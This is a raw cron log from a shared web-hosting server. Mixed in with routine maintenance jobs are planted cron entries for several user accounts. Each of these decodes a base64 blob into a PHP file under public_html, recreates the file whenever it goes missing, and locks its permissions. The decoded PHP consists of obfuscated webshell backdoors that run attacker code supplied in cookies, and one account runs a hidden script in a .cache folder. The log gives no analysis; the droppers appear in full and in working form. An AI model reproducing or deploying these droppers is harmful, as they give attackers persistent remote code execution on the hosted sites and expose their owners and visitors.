Mar  2 02:26:01 medusa CROND[10396]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:26:01 medusa CROND[10397]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:26:01 medusa CROND[10398]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:26:01 medusa CROND[10395]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:26:01 medusa CROND[10408]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:27:01 medusa CROND[15536]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:27:01 medusa CROND[15539]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:27:01 medusa CROND[15540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:27:01 medusa CROND[15558]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:27:01 medusa CROND[15559]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:27:01 medusa CROND[15563]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:27:01 medusa CROND[15560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:27:01 medusa CROND[15564]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:27:01 medusa CROND[15565]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:27:01 medusa CROND[15566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:27:01 medusa CROND[15568]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:27:01 medusa CROND[15569]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:28:01 medusa CROND[22231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:28:01 medusa CROND[22233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:28:01 medusa CROND[22236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:28:01 medusa CROND[22241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:28:01 medusa CROND[22242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:28:01 medusa CROND[22247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:28:01 medusa CROND[22248]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:28:01 medusa CROND[22249]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:28:01 medusa CROND[22252]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:28:01 medusa CROND[22254]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
